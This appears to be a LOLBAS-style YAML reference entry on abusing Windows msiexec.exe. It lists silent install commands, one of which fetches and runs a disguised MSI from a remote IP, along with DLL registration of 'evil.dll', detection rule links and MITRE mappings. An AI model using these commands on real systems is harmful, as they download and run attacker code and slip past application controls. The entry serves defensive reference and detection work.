--- Name: Msiexec.exe Description: Used by Windows to execute msi files Author: 'Oddvar Moe' Created: 2018-05-25 Commands: - Command: msiexec /quiet /i cmd.msi Description: Installs the target .MSI file silently. Usecase: Execute custom made msi file with attack code Category: Execute Privileges: User MitreID: T1218.007 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 - Command: msiexec /q /i http://192.168.100.3/tmp/cmd.png Description: Installs the target remote & renamed .MSI file silently. Usecase: Execute custom made msi file with attack code from remote server Category: Execute Privileges: User MitreID: T1218.007 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 - Command: msiexec /y "C:\folder\evil.dll" Description: Calls DLLRegisterServer to register the target DLL. Usecase: Execute dll files Category: Execute Privileges: User MitreID: T1218.007 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 - Command: msiexec /z "C:\folder\evil.dll" Description: Calls DLLRegisterServer to un-register the target DLL. Usecase: Execute dll files Category: Execute Privileges: User MitreID: T1218.007 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 Full_Path: - Path: C:\Windows\System32\msiexec.exe - Path: C:\Windows\SysWOW64\msiexec.exe Code_Sample: - Code: Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_msiexec_web_install.yml - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_msiexec_cwd.yml - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml - Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/uninstall_app_using_msiexec.yml - IOC: msiexec.exe retrieving files from Internet Resources: - Link: https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/ - Link: https://twitter.com/PhilipTsukerman/status/992021361106268161 Acknowledgement: - Person: netbiosX Handle: '@netbiosX' - Person: Philip Tsukerman Handle: '@PhilipTsukerman'